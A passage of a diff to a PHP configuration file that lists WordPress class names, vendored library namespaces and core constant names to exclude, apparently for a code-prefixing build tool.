'WP_Customize_Background_Image_Setting', - 516 => 'WP_Customize_Cropped_Image_Control', - 517 => 'WP_Customize_Sidebar_Section', - 518 => 'WP_Customize_Custom_CSS_Setting', - 519 => 'WP_Widget_Form_Customize_Control', - 520 => 'WP_Customize_Themes_Panel', - 521 => 'WP_Widget_Area_Customize_Control', - 522 => 'WP_Customize_Nav_Menu_Location_Control', - 523 => 'WP_HTTP_IXR_Client', - ), - 'exclude-namespaces' => - array ( - 0 => 'PHPMailer\\PHPMailer', - 7 => 'WordPress\\AiClientDependencies\\Nyholm\\Psr7', - 16 => 'WordPress\\AiClientDependencies\\Nyholm\\Psr7\\Factory', - 18 => 'WordPress\\AiClientDependencies\\Http\\Discovery', - 22 => 'WordPress\\AiClientDependencies\\Http\\Discovery\\Exception', - 28 => 'WordPress\\AiClientDependencies\\Http\\Discovery\\Strategy', - 32 => 'WordPress\\AiClientDependencies\\Psr\\EventDispatcher', - 33 => 'WordPress\\AiClientDependencies\\Psr\\Http\\Message', - 46 => 'WordPress\\AiClientDependencies\\Psr\\Http\\Client', - 50 => 'WordPress\\AiClientDependencies\\Psr\\SimpleCache', - 51 => 'WordPress\\AiClient\\Tools\\DTO', - 55 => 'WordPress\\AiClient\\Messages\\DTO', - 59 => 'WordPress\\AiClient\\Messages\\Enums', - 63 => 'WordPress\\AiClient\\Builders', - 65 => 'WordPress\\AiClient\\Providers\\DTO', - 67 => 'WordPress\\AiClient\\Providers\\Contracts', - 72 => 'WordPress\\AiClient\\Providers\\Enums', - 74 => 'WordPress\\AiClient\\Providers\\Models\\DTO', - 79 => 'WordPress\\AiClient\\Providers\\Models\\ImageGeneration\\Contracts', - 81 => 'WordPress\\AiClient\\Providers\\Models\\TextGeneration\\Contracts', - 83 => 'WordPress\\AiClient\\Providers\\Models\\Contracts', - 84 => 'WordPress\\AiClient\\Providers\\Models\\Enums', - 86 => 'WordPress\\AiClient\\Providers\\Models\\VideoGeneration\\Contracts', - 88 => 'WordPress\\AiClient\\Providers\\Models\\SpeechGeneration\\Contracts', - 90 => 'WordPress\\AiClient\\Providers\\Models\\TextToSpeechConversion\\Contracts', - 92 => 'WordPress\\AiClient\\Providers\\OpenAiCompatibleImplementation', - 95 => 'WordPress\\AiClient\\Providers\\Http\\DTO', - 99 => 'WordPress\\AiClient\\Providers\\Http\\Util', - 101 => 'WordPress\\AiClient\\Providers\\Http\\Traits', - 103 => 'WordPress\\AiClient\\Providers\\Http\\Contracts', - 108 => 'WordPress\\AiClient\\Providers\\Http\\Enums', - 110 => 'WordPress\\AiClient\\Providers\\Http\\Abstracts', - 111 => 'WordPress\\AiClient\\Providers\\Http', - 112 => 'WordPress\\AiClient\\Providers\\Http\\Collections', - 113 => 'WordPress\\AiClient\\Providers\\Http\\Exception', - 119 => 'WordPress\\AiClient\\Providers', - 120 => 'WordPress\\AiClient\\Providers\\ApiBasedImplementation', - 121 => 'WordPress\\AiClient\\Providers\\ApiBasedImplementation\\Contracts', - 127 => 'WordPress\\AiClient\\Operations\\DTO', - 128 => 'WordPress\\AiClient\\Operations\\Contracts', - 129 => 'WordPress\\AiClient\\Operations\\Enums', - 130 => 'WordPress\\AiClient\\Results\\DTO', - 133 => 'WordPress\\AiClient\\Results\\Contracts', - 134 => 'WordPress\\AiClient\\Results\\Enums', - 135 => 'WordPress\\AiClient\\Common\\Traits', - 136 => 'WordPress\\AiClient\\Common\\Contracts', - 140 => 'WordPress\\AiClient\\Common', - 142 => 'WordPress\\AiClient\\Common\\Exception', - 145 => 'WordPress\\AiClient', - 146 => 'WordPress\\AiClient\\Files\\DTO', - 147 => 'WordPress\\AiClient\\Files\\Enums', - 149 => 'WordPress\\AiClient\\Files\\ValueObjects', - 150 => 'WordPress\\AiClient\\Events', - 152 => 'SimplePie', - 153 => 'SimplePie\\Net', - 156 => 'SimplePie\\Cache', - 173 => 'SimplePie\\Parse', - 175 => 'SimplePie\\Content\\Type', - 177 => 'SimplePie\\XML\\Declaration', - 178 => 'SimplePie\\HTTP', - 198 => 'WpOrg\\Requests', - 204 => 'WpOrg\\Requests\\Transport', - 206 => 'WpOrg\\Requests\\Response', - 207 => 'WpOrg\\Requests\\Proxy', - 209 => 'WpOrg\\Requests\\Auth', - 219 => 'WpOrg\\Requests\\Cookie', - 221 => 'WpOrg\\Requests\\Exception\\Transport', - 222 => 'WpOrg\\Requests\\Exception', - 226 => 'WpOrg\\Requests\\Exception\\Http', - 259 => 'WpOrg\\Requests\\Utility', - 262 => 'Avifinfo', - 263 => 'ParagonIE\\Sodium', - 264 => 'ParagonIE\\Sodium\\Core', - 266 => 'ParagonIE\\Sodium\\Core\\ChaCha20', - 275 => 'ParagonIE\\Sodium\\Core\\Poly1305', - 280 => 'ParagonIE\\Sodium\\Core\\Curve25519', - 282 => 'ParagonIE\\Sodium\\Core\\Curve25519\\Ge', - 289 => 'Sodium', - ), -); \ No newline at end of file + array( + 'AMFReader', + 'AMFStream', + 'AVCSequenceParameterSetReader', + 'AtomEntry', + 'AtomFeed', + 'AtomParser', + 'Automatic_Upgrader_Skin', + 'Bulk_Plugin_Upgrader_Skin', + 'Bulk_Theme_Upgrader_Skin', + 'Bulk_Upgrader_Skin', + 'Core_Upgrader', + 'Custom_Background', + 'Custom_Image_Header', + 'File_Upload_Upgrader', + 'Gettext_Translations', + 'IXR_Base64', + 'IXR_Client', + 'IXR_ClientMulticall', + 'IXR_Date', + 'IXR_Error', + 'IXR_IntrospectionServer', + 'IXR_Message', + 'IXR_Request', + 'IXR_Server', + 'IXR_Value', + 'Language_Pack_Upgrader', + 'Language_Pack_Upgrader_Skin', + 'MO', + 'MagpieRSS', + 'NOOP_Translations', + 'PHPMailer', + 'PO', + 'POMO_CachedFileReader', + 'POMO_CachedIntFileReader', + 'POMO_FileReader', + 'POMO_Reader', + 'POMO_StringReader', + 'POP3', + 'ParagonIE_Sodium_Compat', + 'ParagonIE_Sodium_Core32_BLAKE2b', + 'ParagonIE_Sodium_Core32_ChaCha20', + 'ParagonIE_Sodium_Core32_ChaCha20_Ctx', + 'ParagonIE_Sodium_Core32_ChaCha20_IetfCtx', + 'ParagonIE_Sodium_Core32_Curve25519', + 'ParagonIE_Sodium_Core32_Curve25519_Fe', + 'ParagonIE_Sodium_Core32_Curve25519_Ge_Cached', + 'ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1', + 'ParagonIE_Sodium_Core32_Curve25519_Ge_P2', + 'ParagonIE_Sodium_Core32_Curve25519_Ge_P3', + 'ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp', + 'ParagonIE_Sodium_Core32_Curve25519_H', + 'ParagonIE_Sodium_Core32_Ed25519', + 'ParagonIE_Sodium_Core32_HChaCha20', + 'ParagonIE_Sodium_Core32_HSalsa20', + 'ParagonIE_Sodium_Core32_Int32', + 'ParagonIE_Sodium_Core32_Int64', + 'ParagonIE_Sodium_Core32_Poly1305', + 'ParagonIE_Sodium_Core32_Poly1305_State', + 'ParagonIE_Sodium_Core32_Salsa20', + 'ParagonIE_Sodium_Core32_SecretStream_State', + 'ParagonIE_Sodium_Core32_SipHash', + 'ParagonIE_Sodium_Core32_Util', + 'ParagonIE_Sodium_Core32_X25519', + 'ParagonIE_Sodium_Core32_XChaCha20', + 'ParagonIE_Sodium_Core32_XSalsa20', + 'ParagonIE_Sodium_Core_AEGIS128L', + 'ParagonIE_Sodium_Core_AEGIS256', + 'ParagonIE_Sodium_Core_AEGIS_State128L', + 'ParagonIE_Sodium_Core_AEGIS_State256', + 'ParagonIE_Sodium_Core_AES', + 'ParagonIE_Sodium_Core_AES_Block', + 'ParagonIE_Sodium_Core_AES_Expanded', + 'ParagonIE_Sodium_Core_AES_KeySchedule', + 'ParagonIE_Sodium_Core_BLAKE2b', + 'ParagonIE_Sodium_Core_Base64_Original', + 'ParagonIE_Sodium_Core_Base64_UrlSafe', + 'ParagonIE_Sodium_Core_ChaCha20', + 'ParagonIE_Sodium_Core_ChaCha20_Ctx', + 'ParagonIE_Sodium_Core_ChaCha20_IetfCtx', + 'ParagonIE_Sodium_Core_Curve25519', + 'ParagonIE_Sodium_Core_Curve25519_Fe', + 'ParagonIE_Sodium_Core_Curve25519_Ge_Cached', + 'ParagonIE_Sodium_Core_Curve25519_Ge_P1p1', + 'ParagonIE_Sodium_Core_Curve25519_Ge_P2', + 'ParagonIE_Sodium_Core_Curve25519_Ge_P3', + 'ParagonIE_Sodium_Core_Curve25519_Ge_Precomp', + 'ParagonIE_Sodium_Core_Curve25519_H', + 'ParagonIE_Sodium_Core_Ed25519', + 'ParagonIE_Sodium_Core_HChaCha20', + 'ParagonIE_Sodium_Core_HSalsa20', + 'ParagonIE_Sodium_Core_Poly1305', + 'ParagonIE_Sodium_Core_Poly1305_State', + 'ParagonIE_Sodium_Core_Ristretto255', + 'ParagonIE_Sodium_Core_Salsa20', + 'ParagonIE_Sodium_Core_SecretStream_State', + 'ParagonIE_Sodium_Core_SipHash', + 'ParagonIE_Sodium_Core_Util', + 'ParagonIE_Sodium_Core_X25519', + 'ParagonIE_Sodium_Core_XChaCha20', + 'ParagonIE_Sodium_Core_XSalsa20', + 'ParagonIE_Sodium_Crypto', + 'ParagonIE_Sodium_Crypto32', + 'ParagonIE_Sodium_File', + 'PasswordHash', + 'PclZip', + 'Plugin_Installer_Skin', + 'Plugin_Upgrader', + 'Plugin_Upgrader_Skin', + 'Plural_Forms', + 'RSSCache', + 'Requests', + 'SMTP', + 'Services_JSON', + 'Services_JSON_Error', + 'SimplePie', + 'SimplePie_Author', + 'SimplePie_Autoloader', + 'SimplePie_Cache', + 'SimplePie_Cache_Base', + 'SimplePie_Cache_DB', + 'SimplePie_Cache_File', + 'SimplePie_Cache_Memcache', + 'SimplePie_Cache_Memcached', + 'SimplePie_Cache_MySQL', + 'SimplePie_Cache_Redis', + 'SimplePie_Caption', + 'SimplePie_Category', + 'SimplePie_Content_Type_Sniffer', + 'SimplePie_Copyright', + 'SimplePie_Core', + 'SimplePie_Credit', + 'SimplePie_Decode_HTML_Entities', + 'SimplePie_Enclosure', + 'SimplePie_Exception', + 'SimplePie_File', + 'SimplePie_HTTP_Parser', + 'SimplePie_IRI', + 'SimplePie_Item', + 'SimplePie_Locator', + 'SimplePie_Misc', + 'SimplePie_Net_IPv6', + 'SimplePie_Parse_Date', + 'SimplePie_Parser', + 'SimplePie_Rating', + 'SimplePie_Registry', + 'SimplePie_Restriction', + 'SimplePie_Sanitize', + 'SimplePie_Source', + 'SimplePie_XML_Declaration_Parser', + 'SimplePie_gzdecode', + 'Snoopy', + 'SodiumException', + 'SplFixedArray', + 'Text_Diff', + 'Text_Diff_Engine_native', + 'Text_Diff_Engine_shell', + 'Text_Diff_Engine_string', + 'Text_Diff_Engine_xdiff', + 'Text_Diff_Op', + 'Text_Diff_Op_add', + 'Text_Diff_Op_change', + 'Text_Diff_Op_copy', + 'Text_Diff_Op_delete', + 'Text_Diff_Renderer', + 'Text_Diff_Renderer_inline', + 'Text_Exception', + 'Text_MappedDiff', + 'Theme_Installer_Skin', + 'Theme_Upgrader', + 'Theme_Upgrader_Skin', + 'Translation_Entry', + 'Translations', + 'WP', + 'WP_AI_Client_Ability_Function_Resolver', + 'WP_AI_Client_Cache', + 'WP_AI_Client_Discovery_Strategy', + 'WP_AI_Client_Event_Dispatcher', + 'WP_AI_Client_HTTP_Client', + 'WP_AI_Client_Prompt_Builder', + 'WP_Abilities_Registry', + 'WP_Ability', + 'WP_Ability_Categories_Registry', + 'WP_Ability_Category', + 'WP_Admin_Bar', + 'WP_Ajax_Response', + 'WP_Ajax_Upgrader_Skin', + 'WP_Application_Passwords', + 'WP_Application_Passwords_List_Table', + 'WP_Automatic_Updater', + 'WP_Block', + 'WP_Block_Bindings_Registry', + 'WP_Block_Bindings_Source', + 'WP_Block_Cloner', + 'WP_Block_Editor_Context', + 'WP_Block_List', + 'WP_Block_Metadata_Registry', + 'WP_Block_Parser', + 'WP_Block_Parser_Block', + 'WP_Block_Parser_Frame', + 'WP_Block_Pattern_Categories_Registry', + 'WP_Block_Patterns_Registry', + 'WP_Block_Processor', + 'WP_Block_Styles_Registry', + 'WP_Block_Supports', + 'WP_Block_Template', + 'WP_Block_Templates_Registry', + 'WP_Block_Type', + 'WP_Block_Type_Registry', + 'WP_Classic_To_Block_Menu_Converter', + 'WP_Comment', + 'WP_Comment_Query', + 'WP_Comments_List_Table', + 'WP_Community_Events', + 'WP_Connector_Registry', + 'WP_Customize_Background_Image_Control', + 'WP_Customize_Background_Image_Setting', + 'WP_Customize_Background_Position_Control', + 'WP_Customize_Code_Editor_Control', + 'WP_Customize_Color_Control', + 'WP_Customize_Control', + 'WP_Customize_Cropped_Image_Control', + 'WP_Customize_Custom_CSS_Setting', + 'WP_Customize_Date_Time_Control', + 'WP_Customize_Filter_Setting', + 'WP_Customize_Header_Image_Control', + 'WP_Customize_Header_Image_Setting', + 'WP_Customize_Image_Control', + 'WP_Customize_Manager', + 'WP_Customize_Media_Control', + 'WP_Customize_Nav_Menu_Auto_Add_Control', + 'WP_Customize_Nav_Menu_Control', + 'WP_Customize_Nav_Menu_Item_Control', + 'WP_Customize_Nav_Menu_Item_Setting', + 'WP_Customize_Nav_Menu_Location_Control', + 'WP_Customize_Nav_Menu_Locations_Control', + 'WP_Customize_Nav_Menu_Name_Control', + 'WP_Customize_Nav_Menu_Section', + 'WP_Customize_Nav_Menu_Setting', + 'WP_Customize_Nav_Menus', + 'WP_Customize_Nav_Menus_Panel', + 'WP_Customize_New_Menu_Control', + 'WP_Customize_New_Menu_Section', + 'WP_Customize_Panel', + 'WP_Customize_Partial', + 'WP_Customize_Section', + 'WP_Customize_Selective_Refresh', + 'WP_Customize_Setting', + 'WP_Customize_Sidebar_Section', + 'WP_Customize_Site_Icon_Control', + 'WP_Customize_Theme_Control', + 'WP_Customize_Themes_Panel', + 'WP_Customize_Themes_Section', + 'WP_Customize_Upload_Control', + 'WP_Customize_Widgets', + 'WP_Date_Query', + 'WP_Debug_Data', + 'WP_Dependencies', + 'WP_Duotone', + 'WP_Embed', + 'WP_Error', + 'WP_Exception', + 'WP_Fatal_Error_Handler', + 'WP_Feed_Cache', + 'WP_Feed_Cache_Transient', + 'WP_Filesystem_Base', + 'WP_Filesystem_Direct', + 'WP_Filesystem_FTPext', + 'WP_Filesystem_SSH2', + 'WP_Filesystem_ftpsockets', + 'WP_Font_Collection', + 'WP_Font_Face', + 'WP_Font_Face_Resolver', + 'WP_Font_Library', + 'WP_Font_Utils', + 'WP_HTML_Active_Formatting_Elements', + 'WP_HTML_Attribute_Token', + 'WP_HTML_Decoder', + 'WP_HTML_Doctype_Info', + 'WP_HTML_Open_Elements', + 'WP_HTML_Processor', + 'WP_HTML_Processor_State', + 'WP_HTML_Span', + 'WP_HTML_Stack_Event', + 'WP_HTML_Tag_Processor', + 'WP_HTML_Text_Replacement', + 'WP_HTML_Token', + 'WP_HTML_Unsupported_Exception', + 'WP_HTTP_Fsockopen', + 'WP_HTTP_IXR_Client', + 'WP_HTTP_Proxy', + 'WP_HTTP_Requests_Hooks', + 'WP_HTTP_Requests_Response', + 'WP_HTTP_Response', + 'WP_Hook', + 'WP_Http', + 'WP_Http_Cookie', + 'WP_Http_Curl', + 'WP_Http_Encoding', + 'WP_Http_Streams', + 'WP_Icons_Registry', + 'WP_Image_Editor', + 'WP_Image_Editor_GD', + 'WP_Image_Editor_Imagick', + 'WP_Importer', + 'WP_Interactivity_API', + 'WP_Interactivity_API_Directives_Processor', + 'WP_Internal_Pointers', + 'WP_Links_List_Table', + 'WP_List_Table', + 'WP_List_Util', + 'WP_Locale', + 'WP_Locale_Switcher', + 'WP_MS_Sites_List_Table', + 'WP_MS_Themes_List_Table', + 'WP_MS_Users_List_Table', + 'WP_MatchesMapRegex', + 'WP_Media_List_Table', + 'WP_Meta_Query', + 'WP_Metadata_Lazyloader', + 'WP_Nav_Menu_Widget', + 'WP_Navigation_Block_Renderer', + 'WP_Navigation_Fallback', + 'WP_Network', + 'WP_Network_Query', + 'WP_Object_Cache', + 'WP_PHPMailer', + 'WP_Paused_Extensions_Storage', + 'WP_Plugin_Dependencies', + 'WP_Plugin_Install_List_Table', + 'WP_Plugins_List_Table', + 'WP_Post', + 'WP_Post_Comments_List_Table', + 'WP_Post_Type', + 'WP_Posts_List_Table', + 'WP_Privacy_Data_Export_Requests_List_Table', + 'WP_Privacy_Data_Export_Requests_Table', + 'WP_Privacy_Data_Removal_Requests_List_Table', + 'WP_Privacy_Data_Removal_Requests_Table', + 'WP_Privacy_Policy_Content', + 'WP_Privacy_Requests_Table', + 'WP_Query', + 'WP_REST_Abilities_V1_Categories_Controller', + 'WP_REST_Abilities_V1_List_Controller', + 'WP_REST_Abilities_V1_Run_Controller', + 'WP_REST_Application_Passwords_Controller', + 'WP_REST_Attachments_Controller', + 'WP_REST_Autosaves_Controller', + 'WP_REST_Block_Directory_Controller', + 'WP_REST_Block_Pattern_Categories_Controller', + 'WP_REST_Block_Patterns_Controller', + 'WP_REST_Block_Renderer_Controller', + 'WP_REST_Block_Types_Controller', + 'WP_REST_Blocks_Controller', + 'WP_REST_Comment_Meta_Fields', + 'WP_REST_Comments_Controller', + 'WP_REST_Controller', + 'WP_REST_Edit_Site_Export_Controller', + 'WP_REST_Font_Collections_Controller', + 'WP_REST_Font_Faces_Controller', + 'WP_REST_Font_Families_Controller', + 'WP_REST_Global_Styles_Controller', + 'WP_REST_Global_Styles_Revisions_Controller', + 'WP_REST_Icons_Controller', + 'WP_REST_Menu_Items_Controller', + 'WP_REST_Menu_Locations_Controller', + 'WP_REST_Menus_Controller', + 'WP_REST_Meta_Fields', + 'WP_REST_Navigation_Fallback_Controller', + 'WP_REST_Pattern_Directory_Controller', + 'WP_REST_Plugins_Controller', + 'WP_REST_Post_Format_Search_Handler', + 'WP_REST_Post_Meta_Fields', + 'WP_REST_Post_Search_Handler', + 'WP_REST_Post_Statuses_Controller', + 'WP_REST_Post_Types_Controller', + 'WP_REST_Posts_Controller', + 'WP_REST_Request', + 'WP_REST_Response', + 'WP_REST_Revisions_Controller', + 'WP_REST_Search_Controller', + 'WP_REST_Search_Handler', + 'WP_REST_Server', + 'WP_REST_Settings_Controller', + 'WP_REST_Sidebars_Controller', + 'WP_REST_Site_Health_Controller', + 'WP_REST_Taxonomies_Controller', + 'WP_REST_Template_Autosaves_Controller', + 'WP_REST_Template_Revisions_Controller', + 'WP_REST_Templates_Controller', + 'WP_REST_Term_Meta_Fields', + 'WP_REST_Term_Search_Handler', + 'WP_REST_Terms_Controller', + 'WP_REST_Themes_Controller', + 'WP_REST_URL_Details_Controller', + 'WP_REST_User_Meta_Fields', + 'WP_REST_Users_Controller', + 'WP_REST_Widget_Types_Controller', + 'WP_REST_Widgets_Controller', + 'WP_Recovery_Mode', + 'WP_Recovery_Mode_Cookie_Service', + 'WP_Recovery_Mode_Email_Service', + 'WP_Recovery_Mode_Key_Service', + 'WP_Recovery_Mode_Link_Service', + 'WP_Rewrite', + 'WP_Role', + 'WP_Roles', + 'WP_Screen', + 'WP_Script_Modules', + 'WP_Scripts', + 'WP_Session_Tokens', + 'WP_Sidebar_Block_Editor_Control', + 'WP_SimplePie_File', + 'WP_SimplePie_Sanitize_KSES', + 'WP_Site', + 'WP_Site_Health', + 'WP_Site_Health_Auto_Updates', + 'WP_Site_Icon', + 'WP_Site_Query', + 'WP_Sitemaps', + 'WP_Sitemaps_Index', + 'WP_Sitemaps_Posts', + 'WP_Sitemaps_Provider', + 'WP_Sitemaps_Registry', + 'WP_Sitemaps_Renderer', + 'WP_Sitemaps_Stylesheet', + 'WP_Sitemaps_Taxonomies', + 'WP_Sitemaps_Users', + 'WP_Speculation_Rules', + 'WP_Style_Engine', + 'WP_Style_Engine_CSS_Declarations', + 'WP_Style_Engine_CSS_Rule', + 'WP_Style_Engine_CSS_Rules_Store', + 'WP_Style_Engine_Processor', + 'WP_Styles', + 'WP_Tax_Query', + 'WP_Taxonomy', + 'WP_Term', + 'WP_Term_Query', + 'WP_Terms_List_Table', + 'WP_Text_Diff_Renderer_Table', + 'WP_Text_Diff_Renderer_inline', + 'WP_Textdomain_Registry', + 'WP_Theme', + 'WP_Theme_Install_List_Table', + 'WP_Theme_JSON', + 'WP_Theme_JSON_Data', + 'WP_Theme_JSON_Resolver', + 'WP_Theme_JSON_Schema', + 'WP_Themes_List_Table', + 'WP_Token_Map', + 'WP_Translation_Controller', + 'WP_Translation_File', + 'WP_Translation_File_MO', + 'WP_Translation_File_PHP', + 'WP_Translations', + 'WP_URL_Pattern_Prefixer', + 'WP_Upgrader', + 'WP_Upgrader_Skin', + 'WP_User', + 'WP_User_Meta_Session_Tokens', + 'WP_User_Query', + 'WP_User_Request', + 'WP_User_Search', + 'WP_Users_List_Table', + 'WP_Widget', + 'WP_Widget_Archives', + 'WP_Widget_Area_Customize_Control', + 'WP_Widget_Block', + 'WP_Widget_Calendar', + 'WP_Widget_Categories', + 'WP_Widget_Custom_HTML', + 'WP_Widget_Factory', + 'WP_Widget_Form_Customize_Control', + 'WP_Widget_Links', + 'WP_Widget_Media', + 'WP_Widget_Media_Audio', + 'WP_Widget_Media_Gallery', + 'WP_Widget_Media_Image', + 'WP_Widget_Media_Video', + 'WP_Widget_Meta', + 'WP_Widget_Pages', + 'WP_Widget_RSS', + 'WP_Widget_Recent_Comments', + 'WP_Widget_Recent_Posts', + 'WP_Widget_Search', + 'WP_Widget_Tag_Cloud', + 'WP_Widget_Text', + 'WP_oEmbed', + 'WP_oEmbed_Controller', + 'Walker', + 'Walker_Category', + 'Walker_CategoryDropdown', + 'Walker_Category_Checklist', + 'Walker_Comment', + 'Walker_Nav_Menu', + 'Walker_Nav_Menu_Checklist', + 'Walker_Nav_Menu_Edit', + 'Walker_Page', + 'Walker_PageDropdown', + '_WP_Dependency', + '_WP_Editors', + '_WP_List_Table_Compat', + 'ftp', + 'ftp_base', + 'ftp_pure', + 'ftp_sockets', + 'getID3', + 'getid3_ac3', + 'getid3_apetag', + 'getid3_asf', + 'getid3_dts', + 'getid3_exception', + 'getid3_flac', + 'getid3_flv', + 'getid3_handler', + 'getid3_id3v1', + 'getid3_id3v2', + 'getid3_lib', + 'getid3_lyrics3', + 'getid3_matroska', + 'getid3_mp3', + 'getid3_ogg', + 'getid3_quicktime', + 'getid3_riff', + 'phpmailerException', + 'wp_atom_server', + 'wp_xmlrpc_server', + 'wpdb', + ), + 'exclude-constants' => array( + 'ABSPATH', + 'ADMIN_COOKIE_PATH', + 'ARRAY_A', + 'ARRAY_N', + 'ATOM', + 'AUTH_COOKIE', + 'AUTH_KEY', + 'AUTH_SALT', + 'AUTOSAVE_INTERVAL', + 'BACKGROUND_COLOR', + 'BACKGROUND_IMAGE', + 'BLOCKS_PATH', + 'BLOGUPLOADDIR', + 'COMMENTS_TEMPLATE', + 'COOKIEHASH', + 'COOKIEPATH', + 'COOKIE_DOMAIN', + 'CRLF', + 'CUSTOM_TAGS', + 'DAY_IN_SECONDS', + 'DB_CHARSET', + 'DB_COLLATE', + 'DB_HOST', + 'DB_NAME', + 'DB_PASSWORD', + 'DB_USER', + 'DOING_AJAX', + 'DOING_AUTOSAVE', + 'DOING_CRON', + 'EBML_ID_ASPECTRATIOTYPE', + 'EBML_ID_ATTACHEDFILE', + 'EBML_ID_ATTACHMENTLINK', + 'EBML_ID_ATTACHMENTS', + 'EBML_ID_AUDIO', + 'EBML_ID_BITDEPTH', + 'EBML_ID_CHANNELPOSITIONS', + 'EBML_ID_CHANNELS', + 'EBML_ID_CHAPCOUNTRY', + 'EBML_ID_CHAPLANGUAGE', + 'EBML_ID_CHAPPROCESS', + 'EBML_ID_CHAPPROCESSCODECID', + 'EBML_ID_CHAPPROCESSCOMMAND', + 'EBML_ID_CHAPPROCESSDATA', + 'EBML_ID_CHAPPROCESSPRIVATE', + 'EBML_ID_CHAPPROCESSTIME', + 'EBML_ID_CHAPSTRING', + 'EBML_ID_CHAPTERATOM', + 'EBML_ID_CHAPTERDISPLAY', + 'EBML_ID_CHAPTERFLAGENABLED', + 'EBML_ID_CHAPTERFLAGHIDDEN', + 'EBML_ID_CHAPTERPHYSICALEQUIV', + 'EBML_ID_CHAPTERS', + 'EBML_ID_CHAPTERSEGMENTEDITIONUID', + 'EBML_ID_CHAPTERSEGMENTUID', + 'EBML_ID_CHAPTERTIMEEND', + 'EBML_ID_CHAPTERTIMESTART', + 'EBML_ID_CHAPTERTRACK', + 'EBML_ID_CHAPTERTRACKNUMBER', + 'EBML_ID_CHAPTERTRANSLATE', + 'EBML_ID_CHAPTERTRANSLATECODEC', + 'EBML_ID_CHAPTERTRANSLATEEDITIONUID', + 'EBML_ID_CHAPTERTRANSLATEID', + 'EBML_ID_CHAPTERUID', + 'EBML_ID_CLUSTER', + 'EBML_ID_CLUSTERBLOCK', + 'EBML_ID_CLUSTERBLOCKADDID', + 'EBML_ID_CLUSTERBLOCKADDITIONAL', + 'EBML_ID_CLUSTERBLOCKADDITIONID', + 'EBML_ID_CLUSTERBLOCKADDITIONS', + 'EBML_ID_CLUSTERBLOCKDURATION', + 'EBML_ID_CLUSTERBLOCKGROUP', + 'EBML_ID_CLUSTERBLOCKMORE', + 'EBML_ID_CLUSTERBLOCKVIRTUAL', + 'EBML_ID_CLUSTERCODECSTATE', + 'EBML_ID_CLUSTERDELAY', + 'EBML_ID_CLUSTERDURATION', + 'EBML_ID_CLUSTERENCRYPTEDBLOCK', + 'EBML_ID_CLUSTERFRAMENUMBER', + 'EBML_ID_CLUSTERLACENUMBER', + 'EBML_ID_CLUSTERPOSITION', + 'EBML_ID_CLUSTERPREVSIZE', + 'EBML_ID_CLUSTERREFERENCEBLOCK', + 'EBML_ID_CLUSTERREFERENCEPRIORITY', + 'EBML_ID_CLUSTERREFERENCEVIRTUAL', + 'EBML_ID_CLUSTERSILENTTRACKNUMBER', + 'EBML_ID_CLUSTERSILENTTRACKS', + 'EBML_ID_CLUSTERSIMPLEBLOCK', + 'EBML_ID_CLUSTERSLICES', + 'EBML_ID_CLUSTERTIMECODE', + 'EBML_ID_CLUSTERTIMESLICE', + 'EBML_ID_CODECDECODEALL', + 'EBML_ID_CODECDOWNLOADURL', + 'EBML_ID_CODECID', + 'EBML_ID_CODECINFOURL', + 'EBML_ID_CODECNAME', + 'EBML_ID_CODECPRIVATE', + 'EBML_ID_CODECSETTINGS', + 'EBML_ID_COLOURSPACE', + 'EBML_ID_CONTENTCOMPALGO', + 'EBML_ID_CONTENTCOMPRESSION', + 'EBML_ID_CONTENTCOMPSETTINGS', + 'EBML_ID_CONTENTENCALGO', + 'EBML_ID_CONTENTENCKEYID', + 'EBML_ID_CONTENTENCODING', + 'EBML_ID_CONTENTENCODINGORDER', + 'EBML_ID_CONTENTENCODINGS', + 'EBML_ID_CONTENTENCODINGSCOPE', + 'EBML_ID_CONTENTENCODINGTYPE', + 'EBML_ID_CONTENTENCRYPTION', + 'EBML_ID_CONTENTSIGALGO', + 'EBML_ID_CONTENTSIGHASHALGO', + 'EBML_ID_CONTENTSIGKEYID', + 'EBML_ID_CONTENTSIGNATURE', + 'EBML_ID_CRC32', + 'EBML_ID_CUEBLOCKNUMBER', + 'EBML_ID_CUECLUSTERPOSITION', + 'EBML_ID_CUECODECSTATE', + 'EBML_ID_CUEPOINT', + 'EBML_ID_CUEREFCLUSTER', + 'EBML_ID_CUEREFCODECSTATE', + 'EBML_ID_CUEREFERENCE', + 'EBML_ID_CUEREFNUMBER', + 'EBML_ID_CUEREFTIME', + 'EBML_ID_CUES', + 'EBML_ID_CUETIME', + 'EBML_ID_CUETRACK', + 'EBML_ID_CUETRACKPOSITIONS', + 'EBML_ID_DATEUTC', + 'EBML_ID_DEFAULTDURATION', + 'EBML_ID_DISPLAYHEIGHT', + 'EBML_ID_DISPLAYUNIT', + 'EBML_ID_DISPLAYWIDTH', + 'EBML_ID_DOCTYPE', + 'EBML_ID_DOCTYPEREADVERSION', + 'EBML_ID_DOCTYPEVERSION', + 'EBML_ID_DURATION', + 'EBML_ID_EBML', + 'EBML_ID_EBMLMAXIDLENGTH', + 'EBML_ID_EBMLMAXSIZELENGTH', + 'EBML_ID_EBMLREADVERSION', + 'EBML_ID_EBMLVERSION', + 'EBML_ID_EDITIONENTRY', + 'EBML_ID_EDITIONFLAGDEFAULT', + 'EBML_ID_EDITIONFLAGHIDDEN', + 'EBML_ID_EDITIONFLAGORDERED', + 'EBML_ID_EDITIONUID', + 'EBML_ID_FILEDATA', + 'EBML_ID_FILEDESCRIPTION', + 'EBML_ID_FILEMIMETYPE', + 'EBML_ID_FILENAME', + 'EBML_ID_FILEREFERRAL', + 'EBML_ID_FILEUID', + 'EBML_ID_FLAGDEFAULT', + 'EBML_ID_FLAGENABLED', + 'EBML_ID_FLAGFORCED', + 'EBML_ID_FLAGINTERLACED', + 'EBML_ID_FLAGLACING', + 'EBML_ID_GAMMAVALUE', + 'EBML_ID_INFO', + 'EBML_ID_LANGUAGE', + 'EBML_ID_MAXBLOCKADDITIONID', + 'EBML_ID_MAXCACHE', + 'EBML_ID_MINCACHE', + 'EBML_ID_MUXINGAPP', + 'EBML_ID_NAME', + 'EBML_ID_NEXTFILENAME', + 'EBML_ID_NEXTUID', + 'EBML_ID_OLDSTEREOMODE', + 'EBML_ID_OUTPUTSAMPLINGFREQUENCY', + 'EBML_ID_PIXELCROPBOTTOM', + 'EBML_ID_PIXELCROPLEFT', + 'EBML_ID_PIXELCROPRIGHT', + 'EBML_ID_PIXELCROPTOP', + 'EBML_ID_PIXELHEIGHT', + 'EBML_ID_PIXELWIDTH', + 'EBML_ID_PREVFILENAME', + 'EBML_ID_PREVUID', + 'EBML_ID_SAMPLINGFREQUENCY', + 